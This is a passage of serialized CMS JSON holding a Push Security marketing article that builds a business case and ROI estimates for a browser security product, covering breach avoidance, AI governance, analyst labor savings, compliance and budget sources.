continuity investments.",{"data":25486,"content":25487,"nodeType":866},{},[25488,25492,25500],{"data":25489,"marks":25490,"value":25491,"nodeType":865},{},[],"The detection gap described above has a direct financial consequence: every attack that slips through undetected is a potential breach incurring significant direct and indirect costs. Push helps you avoid these costs by detecting ",{"data":25493,"content":25495,"nodeType":882},{"uri":25494},"https://pushsecurity.com/solution/achieve-security-outcomes/stop-account-takeover",[25496],{"data":25497,"marks":25498,"value":25499,"nodeType":865},{},[],"browser-native attack TTPs",{"data":25501,"marks":25502,"value":25503,"nodeType":865},{},[]," and blocking them in real-time to prevent breaches at the earliest opportunity.",{"data":25505,"content":25506,"nodeType":866},{},[25507],{"data":25508,"marks":25509,"value":25510,"nodeType":865},{},[],"Even though the breach itself is unrealized, there are tangible leading indicators of success: reduced MTTD/MTTR, and fewer attacks progressing to account takeover or endpoint compromise; the stages at which incidents become more expensive to clean up.",{"data":25512,"content":25513,"nodeType":866},{},[25514,25518,25525,25528,25536],{"data":25515,"marks":25516,"value":25517,"nodeType":865},{},[],"Quantifying the savings generated by avoiding breaches requires an ",{"data":25519,"content":25520,"nodeType":882},{"uri":1335},[25521],{"data":25522,"marks":25523,"value":25524,"nodeType":865},{},[],"estimation of your organization's breach probability and likely cost",{"data":25526,"marks":25527,"value":1048,"nodeType":865},{},[],{"data":25529,"content":25531,"nodeType":882},{"uri":25530},"https://www.ibm.com/reports/data-breach",[25532],{"data":25533,"marks":25534,"value":25535,"nodeType":865},{},[]," IBM's cost of a data breach report",{"data":25537,"marks":25538,"value":25539,"nodeType":865},{},[]," provides industry-specific benchmarks, though a more grounded alternative is to look at the disclosed costs of the breaches mentioned above and assess your exposure to the same techniques:",{"data":25541,"content":25542,"nodeType":1049},{},[25543,25553,25563],{"data":25544,"content":25545,"nodeType":1003},{},[25546],{"data":25547,"content":25548,"nodeType":866},{},[25549],{"data":25550,"marks":25551,"value":25552,"nodeType":865},{},[],"MGM reported over $100M in direct impact plus a $45M class-action settlement.",{"data":25554,"content":25555,"nodeType":1003},{},[25556],{"data":25557,"content":25558,"nodeType":866},{},[25559],{"data":25560,"marks":25561,"value":25562,"nodeType":865},{},[],"M&S lost £300M in profits with almost £1B wiped off its market valuation.",{"data":25564,"content":25565,"nodeType":1003},{},[25566],{"data":25567,"content":25568,"nodeType":866},{},[25569],{"data":25570,"marks":25571,"value":25572,"nodeType":865},{},[],"The JLR breach was severe enough for the UK government to underwrite a $1.5B loan to mitigate supply chain damage.",{"data":25574,"content":25575,"nodeType":866},{},[25576],{"data":25577,"marks":25578,"value":25579,"nodeType":865},{},[],"Your own incident data, red team results, or phishing simulation outcomes will increase accuracy further.",{"data":25581,"content":25585,"nodeType":925},{"target":25582},{"sys":25583},{"id":25584,"type":922,"linkType":923},"3SgrdUcQnQsnNLIR9UgBB",[],{"data":25587,"content":25588,"nodeType":1458},{},[25589],{"data":25590,"marks":25591,"value":25592,"nodeType":865},{},[],"2. Accelerated and safe AI adoption",{"data":25594,"content":25595,"nodeType":866},{},[25596],{"data":25597,"marks":25598,"value":25599,"nodeType":865},{},[],"Without effective AI visibility and control tooling, your security team becomes either the bottleneck for AI adoption or allows the risks to go unchecked. Every month that adoption is restricted or ungoverned has a productivity cost that compounds.",{"data":25601,"content":25602,"nodeType":866},{},[25603],{"data":25604,"marks":25605,"value":25606,"nodeType":865},{},[],"There's been plenty of research into the productivity impact of AI:",{"data":25608,"content":25609,"nodeType":1049},{},[25610,25632,25654,25676],{"data":25611,"content":25612,"nodeType":1003},{},[25613],{"data":25614,"content":25615,"nodeType":866},{},[25616,25619,25628],{"data":25617,"marks":25618,"value":21,"nodeType":865},{},[],{"data":25620,"content":25622,"nodeType":882},{"uri":25621},"https://www.nber.org/system/files/working_papers/w31161/w31161.pdf",[25623],{"data":25624,"marks":25625,"value":25627,"nodeType":865},{},[25626],{"type":997},"Stanford and MIT research",{"data":25629,"marks":25630,"value":25631,"nodeType":865},{},[]," found that workers with access to a generative AI assistant were 14% more productive on average, with novice workers seeing a 34% improvement.",{"data":25633,"content":25634,"nodeType":1003},{},[25635],{"data":25636,"content":25637,"nodeType":866},{},[25638,25641,25650],{"data":25639,"marks":25640,"value":21,"nodeType":865},{},[],{"data":25642,"content":25644,"nodeType":882},{"uri":25643},"https://www.accenture.com/us-en/insights/strategy/productivity-payoff",[25645],{"data":25646,"marks":25647,"value":25649,"nodeType":865},{},[25648],{"type":997},"Accenture's research",{"data":25651,"marks":25652,"value":25653,"nodeType":865},{},[]," estimates approximately $7,800 per employee per year in productivity value from generative AI for knowledge workers.",{"data":25655,"content":25656,"nodeType":1003},{},[25657],{"data":25658,"content":25659,"nodeType":866},{},[25660,25663,25672],{"data":25661,"marks":25662,"value":21,"nodeType":865},{},[],{"data":25664,"content":25666,"nodeType":882},{"uri":25665},"https://www.stlouisfed.org/on-the-economy/2025/feb/impact-generative-ai-work-productivity",[25667],{"data":25668,"marks":25669,"value":25671,"nodeType":865},{},[25670],{"type":997},"The Federal Reserve",{"data":25673,"marks":25674,"value":25675,"nodeType":865},{},[]," independently quantified it at 5.4% of work hours saved, roughly one full working day reclaimed per month.",{"data":25677,"content":25678,"nodeType":1003},{},[25679],{"data":25680,"content":25681,"nodeType":866},{},[25682,25685,25694],{"data":25683,"marks":25684,"value":21,"nodeType":865},{},[],{"data":25686,"content":25688,"nodeType":882},{"uri":25687},"https://www.mckinsey.com/capabilities/quantumblack/our-insights/the-state-of-ai",[25689],{"data":25690,"marks":25691,"value":25693,"nodeType":865},{},[25692],{"type":997},"McKinsey's 2025 data",{"data":25695,"marks":25696,"value":25697,"nodeType":865},{},[]," shows organizations leading on AI adoption report 5.8x average ROI within 14 months, and they outperform laggards in both profitability and revenue growth.",{"data":25699,"content":25700,"nodeType":866},{},[25701],{"data":25702,"marks":25703,"value":25704,"nodeType":865},{},[],"A browser security platform like Push removes the governance blocker. When you can see which AI tools employees are using, what data they're sharing, and what permissions they've granted, and enforce policy in real time, the answer to \"can our people use this?\" shifts from \"not yet, we need to assess the risk\" to \"yes, with our sensible guardrails.\"",{"data":25706,"content":25707,"nodeType":866},{},[25708],{"data":25709,"marks":25710,"value":25711,"nodeType":865},{},[],"Push delivers this by discovering every AI web app, browser, browser extension, and OAuth integration in use. It monitors data sharing through file uploads and clipboard activity, tracks OAuth consent flows where AI services request access to corporate tenants, and enforces policy at the point of action. This allows your team to very quickly get a handle on AI usage, mitigate risks and guide the business on how to best drive safe adoption.",{"data":25713,"content":25717,"nodeType":925},{"target":25714},{"sys":25715},{"id":25716,"type":922,"linkType":923},"6i7Z6jwFaztuoUCynXfrVH",[],{"data":25719,"content":25720,"nodeType":1458},{},[25721],{"data":25722,"marks":25723,"value":25724,"nodeType":865},{},[],"3. Greater return from existing security investments",{"data":25726,"content":25727,"nodeType":866},{},[25728],{"data":25729,"marks":25730,"value":25731,"nodeType":865},{},[],"Push generates direct labor savings in two ways that other tools can't replicate.",{"data":25733,"content":25734,"nodeType":866},{},[25735,25740,25744,25751],{"data":25736,"marks":25737,"value":25739,"nodeType":865},{},[25738],{"type":961},"First, identity hygiene remediation at scale.",{"data":25741,"marks":25742,"value":25743,"nodeType":865},{},[]," Push's customer data shows that for every 1,000 employees, an organization will typically have just over ",{"data":25745,"content":25746,"nodeType":882},{"uri":10328},[25747],{"data":25748,"marks":25749,"value":25750,"nodeType":865},{},[],"2,500 identity security vulnerabilities",{"data":25752,"marks":25753,"value":25754,"nodeType":865},{},[]," (missing MFA or weak, breached, reused passwords, etc).",{"data":25756,"content":25757,"nodeType":866},{},[25758,25762,25770],{"data":25759,"marks":25760,"value":25761,"nodeType":865},{},[],"Without Push, you could conservatively estimate that each vulnerability takes 5–10 minutes to resolve manually (inclusive of project management and reporting time) which translates to between 26 and 52 FTE days per thousand employees. ",{"data":25763,"content":25765,"nodeType":882},{"uri":25764},"https://pushsecurity.com/solution/achieve-security-outcomes/harden-unmanaged-identities",[25766],{"data":25767,"marks":25768,"value":25769,"nodeType":865},{},[],"Push automates this through in-browser guardrails",{"data":25771,"marks":25772,"value":25773,"nodeType":865},{},[]," that prompt users to fix issues at the point of login. That's thousands of identity vulnerabilities resolved without a single ticket being filed, and weeks of analyst time recovered annually at fully burdened rates.",{"data":25775,"content":25776,"nodeType":866},{},[25777,25782,25786,25794],{"data":25778,"marks":25779,"value":25781,"nodeType":865},{},[25780],{"type":961},"Second, investigation efficiency.",{"data":25783,"marks":25784,"value":25785,"nodeType":865},{},[]," Push detects attacks at the earliest and safest opportunity, as the attacker is attempting to gain initial access via the browser. The telemetry Push provides analysts with ",{"data":25787,"content":25789,"nodeType":882},{"uri":25788},"https://pushsecurity.com/solution/achieve-security-outcomes/investigate-browser-related-incidents",[25790],{"data":25791,"marks":25792,"value":25793,"nodeType":865},{},[],"accelerates their investigations across both external and insider threats",{"data":25795,"marks":25796,"value":1048,"nodeType":865},{},[],{"data":25798,"content":25799,"nodeType":866},{},[25800,25804,25812],{"data":25801,"marks":25802,"value":25803,"nodeType":865},{},[],"Here’s one example of that in action: Push eliminates ",{"data":25805,"content":25807,"nodeType":882},{"uri":25806},"https://pushsecurity.com/blog/verified-stolen-credential-detection/",[25808],{"data":25809,"marks":25810,"value":25811,"nodeType":865},{},[],"over 99% of compromised credential false positives",{"data":25813,"marks":25814,"value":25815,"nodeType":865},{},[]," in common TI feeds by only surfacing credentials actively being used and observed in the browser. Much like the first direct labour saving, Push saves your team weeks of effort confirming false positives and investigating complex account compromise incidents. It also reduces the likelihood of an incident progressing to the stage where a (costly) external incident response provider is needed. ",{"data":25817,"content":25818,"nodeType":866},{},[25819,25823,25831],{"data":25820,"marks":25821,"value":25822,"nodeType":865},{},[],"By automatically remediating identity security issues at scale, and accelerating investigations, Push eliminates much of the work that analysts typically find tedious and frustrating: manually chasing password resets, triaging false positives, ",{"data":25824,"content":25826,"nodeType":882},{"uri":25825},"https://pushsecurity.com/blog/fixing-secops-alert-fatigue-with-browser-telemetry/",[25827],{"data":25828,"marks":25829,"value":25830,"nodeType":865},{},[],"trawling through web proxy logs",{"data":25832,"marks":25833,"value":25834,"nodeType":865},{},[],". Removing that work means they can spend more time on the interesting, high-value aspects of their roles, which directly improves morale and retention.",{"data":25836,"content":25837,"nodeType":866},{},[25838],{"data":25839,"marks":25840,"value":25841,"nodeType":865},{},[],"In a market where replacing a fully ramped security analyst costs 80–150% of their annual salary and the new hire takes months to reach the same productivity, reduced attrition generates its own measurable saving in avoided recruitment, training, and lost productivity during the ramp-up period.",{"data":25843,"content":25844,"nodeType":866},{},[25845],{"data":25846,"marks":25847,"value":25848,"nodeType":865},{},[],"In addition to direct labor savings, Push improves the return on every other security investment in your stack. Browser-layer telemetry feeds into SIEM and SOAR platforms, enriching correlation rules and enabling custom detections that weren't previously possible, a multiplier on the value you're already getting from your existing security investments.",{"data":25850,"content":25854,"nodeType":925},{"target":25851},{"sys":25852},{"id":25853,"type":922,"linkType":923},"7EwWz1orX6QQtm5MHnaXDQ",[],{"data":25856,"content":25857,"nodeType":1458},{},[25858],{"data":25859,"marks":25860,"value":25861,"nodeType":865},{},[],"4. Reduced compliance and audit exposure",{"data":25863,"content":25864,"nodeType":866},{},[25865],{"data":25866,"marks":25867,"value":25868,"nodeType":865},{},[],"Every major security compliance framework — SOC 2, ISO 27001, HIPAA, PCI DSS, NIST, GDPR — requires MFA on accounts, strong and unique passwords, and visibility into which third-party applications are being entrusted with corporate data. These are foundational requirements and they apply across every application employees use, not just the ones IT has provisioned. Self-adopted Shadow IT and unmanaged identities create compliance gaps against these requirements that most organizations don't know they have until an auditor finds them.",{"data":25870,"content":25871,"nodeType":866},{},[25872,25875,25884,25888,25895],{"data":25873,"marks":25874,"value":21,"nodeType":865},{},[],{"data":25876,"content":25878,"nodeType":882},{"uri":25877},"https://pushsecurity.com/resources/mfa-regulation-compliance",[25879],{"data":25880,"marks":25881,"value":25883,"nodeType":865},{},[25882],{"type":997},"The consequences of gaps in these controls are increasingly financial.",{"data":25885,"marks":25886,"value":25887,"nodeType":865},{},[]," The City of Hamilton had its $18.3M cyber insurance claim denied after a ransomware attack because MFA wasn't fully implemented. The insurer ruled that incomplete MFA coverage voided the policy. ",{"data":25889,"content":25890,"nodeType":882},{"uri":2601},[25891],{"data":25892,"marks":25893,"value":25894,"nodeType":865},{},[],"NYDFS has levied $14 million in fines",{"data":25896,"marks":25897,"value":25898,"nodeType":865},{},[]," from companies with inadequate MFA. These aren't hypothetical risks, and they apply to requirements that Push can help you meet continuously rather than scrambling to find evidence during an audit or after an incident.",{"data":25900,"content":25901,"nodeType":866},{},[25902,25906,25914],{"data":25903,"marks":25904,"value":25905,"nodeType":865},{},[],"Push addresses these compliance requirements directly. It ",{"data":25907,"content":25909,"nodeType":882},{"uri":25908},"https://pushsecurity.com/solution/achieve-security-outcomes/secure-shadow-saas",[25910],{"data":25911,"marks":25912,"value":25913,"nodeType":865},{},[],"discovers every application employees actually use",{"data":25915,"marks":25916,"value":25917,"nodeType":865},{},[]," — directly from the login event in the browser, not from network traffic patterns. It also observes the authentication method, password strength, and MFA status for each account. The inventory provided by Push replaces weeks of manual spreadsheet work during audit preparation and gives your GRC team continuous evidence rather than a point-in-time snapshot assembled under pressure.",{"data":25919,"content":25923,"nodeType":925},{"target":25920},{"sys":25921},{"id":25922,"type":922,"linkType":923},"36lm2TMvlpEPrFfM8KEUqB",[],{"data":25925,"content":25926,"nodeType":1458},{},[25927],{"data":25928,"marks":25929,"value":25930,"nodeType":865},{},[],"5. Consolidated capability and reallocated spend",{"data":25932,"content":25933,"nodeType":866},{},[25934,25938,25946],{"data":25935,"marks":25936,"value":25937,"nodeType":865},{},[],"Push delivers against a ",{"data":25939,"content":25941,"nodeType":882},{"uri":25940},"https://pushsecurity.com/blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value/",[25942],{"data":25943,"marks":25944,"value":25945,"nodeType":865},{},[],"wide range of use cases",{"data":25947,"marks":25948,"value":25949,"nodeType":865},{},[]," — threat detection, AI governance, identity security, investigation support — that would otherwise require separate point solutions to address. That breadth of coverage from a single platform and deployment creates natural opportunities to consolidate spend.",{"data":25951,"content":25952,"nodeType":866},{},[25953],{"data":25954,"marks":25955,"value":25956,"nodeType":865},{},[],"AI governance is the most immediate example. Nearly every enterprise is evaluating standalone AI monitoring tools right now, and the price tags are significant. If your browser security platform already delivers the AI visibility and control capabilities like Push's described above — app discovery, data sharing monitoring, OAuth consent tracking, real-time policy enforcement — the case for a separate AI governance purchase weakens considerably. Paying separately for a tool that only does AI governance, when your browser security platform delivers it alongside detection, identity security, and investigation capability, is a hard spend to justify.",{"data":25958,"content":25959,"nodeType":866},{},[25960],{"data":25961,"marks":25962,"value":25963,"nodeType":865},{},[],"There's also a broader resource reallocation opportunity. Platforms like Push represent a new generation of security tooling that addresses the challenges posed by modern work and cyber attacks. The ROI they provide is high now and is likely to increase as the platform evolves alongside the threats and risks it addresses. Meanwhile, much of the legacy stack is moving in the opposite direction.",{"data":25965,"content":25966,"nodeType":1049},{},[25967,25989,25999],{"data":25968,"content":25969,"nodeType":1003},{},[25970],{"data":25971,"content":25972,"nodeType":866},{},[25973,25977,25985],{"data":25974,"marks":25975,"value":25976,"nodeType":865},{},[],"Network-centric tools like ",{"data":25978,"content":25980,"nodeType":882},{"uri":25979},"https://pushsecurity.com/blog/push-plus-network-security/",[25981],{"data":25982,"marks":25983,"value":25984,"nodeType":865},{},[],"SWGs and CASBs are becoming increasingly legacy",{"data":25986,"marks":25987,"value":25988,"nodeType":865},{},[]," as more activity moves off the traditional network and into the browser.",{"data":25990,"content":25991,"nodeType":1003},{},[25992],{"data":25993,"content":25994,"nodeType":866},{},[25995],{"data":25996,"marks":25997,"value":25998,"nodeType":865},{},[],"RBI deployments are difficult to justify when a browser extension achieves better security outcomes without the user experience penalty.",{"data":26000,"content":26001,"nodeType":1003},{},[26002],{"data":26003,"content":26004,"nodeType":866},{},[26005],{"data":26006,"marks":26007,"value":26008,"nodeType":865},{},[],"Phishing simulation programs — whose ROI has long been questioned by practitioners — are harder to justify when attackers are using AI to craft lures and pages that are indistinguishable from the real thing for even the most trained employees. If your browser security platform is already blocking real phishing attempts and delivering contextual security guidance at the actual point of risk, the marginal value of a simulation exercise weeks later diminishes considerably.",{"data":26010,"content":26011,"nodeType":866},{},[26012],{"data":26013,"marks":26014,"value":26015,"nodeType":865},{},[],"As legacy tooling becomes less relevant and more commoditized, you should expect to spend less on it. What you save can then be reallocated towards capabilities like Push that address the current threat landscape rather than the previous one legacy tools were designed for.",{"data":26017,"content":26018,"nodeType":953},{},[],{"data":26020,"content":26021,"nodeType":963},{},[26022],{"data":26023,"marks":26024,"value":26026,"nodeType":865},{},[26025],{"type":961},"Investment risk management",{"data":26028,"content":26029,"nodeType":866},{},[26030],{"data":26031,"marks":26032,"value":26033,"nodeType":865},{},[],"The final component of the business case is assessing the investment risk. Given that browser security solutions are typically a new capability, and therefore a new form of investment, there will naturally be questions about how safe an investment it is.",{"data":26035,"content":26036,"nodeType":866},{},[26037],{"data":26038,"marks":26039,"value":26040,"nodeType":865},{},[],"Browser security takes many forms and approaches, so this section speaks specifically to Push and why it represents a low-risk investment to make.",{"data":26042,"content":26043,"nodeType":866},{},[26044,26048,26056],{"data":26045,"marks":26046,"value":26047,"nodeType":865},{},[],"Push is simple to deploy. It installs as a browser extension via existing MDM tooling — it works on the browsers employees already use, with no migration to a new browser, no user retraining, and no change to workflows. ",{"data":26049,"content":26051,"nodeType":882},{"uri":26050},"https://pushsecurity.com/customer-stories",[26052],{"data":26053,"marks":26054,"value":26055,"nodeType":865},{},[],"Customers have rolled Push out to over 100,000 users in under an hour",{"data":26057,"marks":26058,"value":26059,"nodeType":865},{},[]," during normal office hours with zero downtime.",{"data":26061,"content":26062,"nodeType":866},{},[26063],{"data":26064,"marks":26065,"value":26066,"nodeType":865},{},[],"You start seeing findings and detections from day one, not after a months-long implementation project. That compresses time-to-value to a matter of hours, which directly de-risks the investment from a finance perspective. Push's high-fidelity telemetry results in a negligible false positive rate, minimizing the operational cost of running the platform. Push integrates into your existing security workflows and tools, like your SIEM, SOAR, and IdP, and doesn't require a dedicated team to manage, so you gain a new capability without taking on a new operational burden.",{"data":26068,"content":26069,"nodeType":866},{},[26070,26074,26080,26084,26091,26094,26102],{"data":26071,"marks":26072,"value":26073,"nodeType":865},{},[],"Push supports advanced security teams in highly targeted and regulated industries, with over 3 million browsers deployed worldwide. As one of the first browser security extensions, launched in 2022, Push has one of the longest track records in the space, and its research team regularly discovers novel attack techniques, including ",{"data":26075,"content":26076,"nodeType":882},{"uri":11102},[26077],{"data":26078,"marks":26079,"value":11095,"nodeType":865},{},[],{"data":26081,"marks":26082,"value":26083,"nodeType":865},{},[],",",{"data":26085,"content":26086,"nodeType":882},{"uri":10340},[26087],{"data":26088,"marks":26089,"value":26090,"nodeType":865},{},[]," ghost logins",{"data":26092,"marks":26093,"value":26083,"nodeType":865},{},[],{"data":26095,"content":26097,"nodeType":882},{"uri":26096},"https://pushsecurity.com/blog/samljacking-a-poisoned-tenant/",[26098],{"data":26099,"marks":26100,"value":26101,"nodeType":865},{},[]," SAMLjacking",{"data":26103,"marks":26104,"value":26105,"nodeType":865},{},[],", and regularly publishes campaign analysis referenced across the security community.",{"data":26107,"content":26108,"nodeType":866},{},[26109,26113,26119],{"data":26110,"marks":26111,"value":26112,"nodeType":865},{},[],"Finally, Push actively hunts for new and novel threats across your estate using its research and ",{"data":26114,"content":26115,"nodeType":882},{"uri":3643},[26116],{"data":26117,"marks":26118,"value":3649,"nodeType":865},{},[],{"data":26120,"marks":26121,"value":26122,"nodeType":865},{},[],", with no customer input required. That means you remain protected as the threat landscape evolves, and the capability continues to advance and deliver recurring value over the full contract period without additional effort from your team.",{"data":26124,"content":26125,"nodeType":953},{},[],{"data":26127,"content":26128,"nodeType":963},{},[26129],{"data":26130,"marks":26131,"value":26133,"nodeType":865},{},[26132],{"type":961},"Where has the budget actually come from for Push’s customers?",{"data":26135,"content":26136,"nodeType":866},{},[26137],{"data":26138,"marks":26139,"value":26140,"nodeType":865},{},[],"Push's customers have funded their browser security investment through several well-established routes:",{"data":26142,"content":26143,"nodeType":1049},{},[26144,26165,26198,26241,26263],{"data":26145,"content":26146,"nodeType":1003},{},[26147],{"data":26148,"content":26149,"nodeType":866},{},[26150,26154,26161],{"data":26151,"marks":26152,"value":26153,"nodeType":865},{},[],"Many teams had funded projects to increase their ",{"data":26155,"content":26156,"nodeType":882},{"uri":25290},[26157],{"data":26158,"marks":26159,"value":26160,"nodeType":865},{},[],"visibility and control over AI use",{"data":26162,"marks":26163,"value":26164,"nodeType":865},{},[]," in their organizations. Push gave them the instrumentation they needed to address their needs while also allowing them to address other valuable security use cases.",{"data":26166,"content":26167,"nodeType":1003},{},[26168],{"data":26169,"content":26170,"nodeType":866},{},[26171,26175,26182,26186,26194],{"data":26172,"marks":26173,"value":26174,"nodeType":865},{},[],"Push is frequently purchased following a security incident such as an ",{"data":26176,"content":26177,"nodeType":882},{"uri":8652},[26178],{"data":26179,"marks":26180,"value":26181,"nodeType":865},{},[],"AitM phishing breach",{"data":26183,"marks":26184,"value":26185,"nodeType":865},{},[]," or a ",{"data":26187,"content":26188,"nodeType":882},{"uri":8724},[26189],{"data":26190,"marks":26191,"value":26193,"nodeType":865},{},[26192],{"type":997},"ClickFix breach",{"data":26195,"marks":26196,"value":26197,"nodeType":865},{},[]," that existing tools failed to detect and stop.",{"data":26199,"content":26200,"nodeType":1003},{},[26201],{"data":26202,"content":26203,"nodeType":866},{},[26204,26208,26216,26219,26226,26229,26237],{"data":26205,"marks":26206,"value":26207,"nodeType":865},{},[],"Another leverage point has been ",{"data":26209,"content":26211,"nodeType":882},{"uri":26210},"https://pushsecurity.com/solution/tool-replacements/cloud-access-security-broker",[26212],{"data":26213,"marks":26214,"value":306,"nodeType":865},{},[26215],{"type":997},{"data":26217,"marks":26218,"value":2186,"nodeType":865},{},[],{"data":26220,"content":26222,"nodeType":882},{"uri":26221},"https://pushsecurity.com/solution/tool-replacements/secure-web-gateways",[26223],{"data":26224,"marks":26225,"value":624,"nodeType":865},{},[],{"data":26227,"marks":26228,"value":3892,"nodeType":865},{},[],{"data":26230,"content":26232,"nodeType":882},{"uri":26231},"https://pushsecurity.com/solution/tool-replacements/remote-browser-isolation",[26233],{"data":26234,"marks":26235,"value":26236,"nodeType":865},{},[],"RBI",{"data":26238,"marks":26239,"value":26240,"nodeType":865},{},[]," renewals. The browser-native capabilities of a tool like Push let you either replace or reduce the scope — and cost — on those contracts without losing coverage.",{"data":26242,"content":26243,"nodeType":1003},{},[26244],{"data":26245,"content":26246,"nodeType":866},{},[26247,26251,26259],{"data":26248,"marks":26249,"value":26250,"nodeType":865},{},[],"A number of Push customers rolled out ",{"data":26252,"content":26254,"nodeType":882},{"uri":26253},"https://pushsecurity.com/solution/achieve-security-outcomes/secure-chromebooks",[26255],{"data":26256,"marks":26257,"value":26258,"nodeType":865},{},[],"Chromebooks",{"data":26260,"marks":26261,"value":26262,"nodeType":865},{},[]," to parts of their workforce and used the savings that generated to pay for Push. These devices fell outside of their standard EDR coverage and they found that Push provided all the visibility and protection they needed for Chromebook users.",{"data":26264,"content":26265,"nodeType":1003},{},[26266],{"data":26267,"content":26268,"nodeType":866},{},[26269,26273],{"data":26270,"marks":26271,"value":26272,"nodeType":865},{},[],"But overall, most customers choose to build the net-new case using ROI projections alone. Push customers see direct savings that cover the cost of deploying Push and indirect savings that run into the millions of dollars. ",{"data":26274,"marks":26275,"value":26277,"nodeType":865},{},[26276],{"type":961},"For every $1 invested, Push generates a return of $5 - $15 through a mixture of direct and indirect savings aligned to the five economic value drivers.",{"data":26279,"content":26280,"nodeType":1458},{},[26281],{"data":26282,"marks":26283,"value":26285,"nodeType":865},{},[26284],{"type":961},"Strengthening your case with PoV data",{"data":26287,"content":26288,"nodeType":866},{},[26289,26293,26300],{"data":26290,"marks":26291,"value":26292,"nodeType":865},{},[],"One practical step that strengthens any business case significantly is to ",{"data":26294,"content":26295,"nodeType":882},{"uri":8870},[26296],{"data":26297,"marks":26298,"value":26299,"nodeType":865},{},[],"run a proof of value",{"data":26301,"marks":26302,"value":26303,"nodeType":865},{},[],". A PoV deployment generates findings specific to your organization: real instances of employees being targeted in their browsers, the actual scale of your identity attack surface, and concrete shadow SaaS and AI usage data.",{"data":26305,"content":26306,"nodeType":866},{},[26307],{"data":26308,"marks":26309,"value":26310,"nodeType":865},{},[],"That evidence can be far more compelling to a CFO than generic industry benchmarks, and it hones the projected value from the framework using real-world data taken from your own environment. ",{"data":26312,"content":26313,"nodeType":866},{},[26314],{"data":26315,"marks":26316,"value":26317,"nodeType":865},{},[],"The drawback is that the kind of PoV that generates this type of evidence requires more time and effort to run. Security teams typically opt for this approach when they know they'll encounter stronger resistance to budget being made available and they'll really need to evidence the need in absolutely concrete terms.",{"data":26319,"content":26320,"nodeType":953},{},[],{"data":26322,"content":26323,"nodeType":963},{},[26324],{"data":26325,"marks":26326,"value":26328,"nodeType":865},{},[26327],{"type":961},"Closing thoughts: “nothing worth having comes easy”",{"data":26330,"content":26331,"nodeType":866},{},[26332],{"data":26333,"marks":26334,"value":26335,"nodeType":865},{},[],"The budget conversation for browser security takes more work than it does for a like-for-like tool replacement — but the security leaders who've been through it consistently find that the economic case is stronger than they expected going in. ",{"data":26337,"content":26338,"nodeType":866},{},[26339],{"data":26340,"marks":26341,"value":26342,"nodeType":865},{},[],"Both strategic imperatives are grounded in data any CFO can verify independently, the financial impact is quantifiable across multiple dimensions, and the routes to funding are well-established across organizations that have already made this investment.",{"data":26344,"content":26345,"nodeType":953},{},[],{"data":26347,"content":26348,"nodeType":866},{},[26349],{"data":26350,"marks":26351,"value":2792,"nodeType":865},{},[],{"data":26353,"content":26354,"nodeType":866},{},[26355],{"data":26356,"marks":26357,"value":1718,"nodeType":865},{},[],{"data":26359,"content":26360,"nodeType":866},{},[26361,26364,26370],{"data":26362,"marks":26363,"value":1725,"nodeType":865},{},[],{"data":26365,"content":26366,"nodeType":882},{"uri":13728},[26367],{"data":26368,"marks":26369,"value":1734,"nodeType":865},{},[],{"data":26371,"marks":26372,"value":1738,"nodeType":865},{},[],{"entries":26374},{"hyperlink":26375,"inline":26376,"block":26377},[],[],[26378,26385,26411,26435,26462,26488],{"sys":26379,"__typename":1747,"title":26380,"caption":59,"layoutMode":59,"file":26381},{"id":25235},"business case framework",{"url":26382,"width":26383,"height":26384},"https://images.ctfassets.net/y1cdw1ablpvd/1TIwUkTfu8uJkxpF3vS8jS/e93b6ddfa432874452812c2566b5e031/business_case_framework_2x__4_.png",3200,2302,{"sys":26386,"__typename":9270,"content":26387,"name":26410,"title":59},{"id":25469},{"json":26388},{"nodeType":1739,"data":26389,"content":26390},{},[26391,26398],{"nodeType":866,"data":26392,"content":26393},{},[26394],{"nodeType":865,"value":26395,"marks":26396,"data":26397},"To illustrate the potential economic impact, each value driver below includes an estimate for a hypothetical 1,000-employee US technology company called ACME. The assumptions used are conservative and the benchmarks are publicly available. And while your own numbers will differ, the methodology used is transferable. ",[],{},{"nodeType":866,"data":26399,"content":26400},{},[26401,26405],{"nodeType":865,"value":26402,"marks":26403,"data":26404},"Using these estimates, ACME can conservatively expect a return of ",[],{},{"nodeType":865,"value":26406,"marks":26407,"data":26409},"$435K–$925K in combined annual value from direct labor savings, risk-adjusted cost avoidance, and accelerated productivity gains.",[26408],{"type":961},{},"Browser business case IB1",{"sys":26412,"__typename":9270,"content":26413,"name":26434,"title":59},{"id":25584},{"json":26414},{"nodeType":1739,"data":26415,"content":26416},{},[26417],{"nodeType":866,"data":26418,"content":26419},{},[26420,26425,26429],{"nodeType":865,"value":26421,"marks":26422,"data":26424},"ACME example: ",[26423],{"type":961},{},{"nodeType":865,"value":26426,"marks":26427,"data":26428},"IBM's data puts the average breach cost for a technology company at approximately $4.9M. Assuming a conservative 5–8% annual breach probability, and given that 80% of breaches are now identity-based and execute via the browser, the question is how much of that exposure Push eliminates. Push detects and blocks browser-native, identity-based attacks in real time. Even using a conservative 80% effectiveness estimate ",[],{},{"nodeType":865,"value":26430,"marks":26431,"data":26433},"the expected annual value is $150K–$250K.",[26432],{"type":961},{},"Browser business case IB2",{"sys":26436,"__typename":9270,"content":26437,"name":26461,"title":59},{"id":25716},{"json":26438},{"nodeType":1739,"data":26439,"content":26440},{},[26441],{"nodeType":866,"data":26442,"content":26443},{},[26444,26448,26452,26457],{"nodeType":865,"value":26421,"marks":26445,"data":26447},[26446],{"type":961},{},{"nodeType":865,"value":26449,"marks":26450,"data":26451},"for a 1,000-employee technology company where 60% of the workforce are knowledge workers, accelerating safe AI adoption by three to six months for 25–40% of those workers captures ",[],{},{"nodeType":865,"value":26453,"marks":26454,"data":26456},"$150K–$400K",[26455],{"type":961},{},{"nodeType":865,"value":26458,"marks":26459,"data":26460}," in productivity value.",[],{},"Browser business case IB3",{"sys":26463,"__typename":9270,"content":26464,"name":26487,"title":59},{"id":25853},{"json":26465},{"nodeType":1739,"data":26466,"content":26467},{},[26468],{"nodeType":866,"data":26469,"content":26470},{},[26471,26475,26479,26484],{"nodeType":865,"value":26421,"marks":26472,"data":26474},[26473],{"type":961},{},{"nodeType":865,"value":26476,"marks":26477,"data":26478},"Automated identity remediation across approximately 2,500 vulnerabilities recovers $25K–$35K in analyst time annually. Investigation efficiency gains from earlier detection and the elimination of compromised credential false positives save a further $45K–$65K. Reduced analyst attrition, driven by the removal of tedious manual work, avoids $15K–$25K in recruitment and ramp-up costs. Combined, this value driver represents ",[],{},{"nodeType":865,"value":26480,"marks":26481,"data":26483},"$85K–$125K 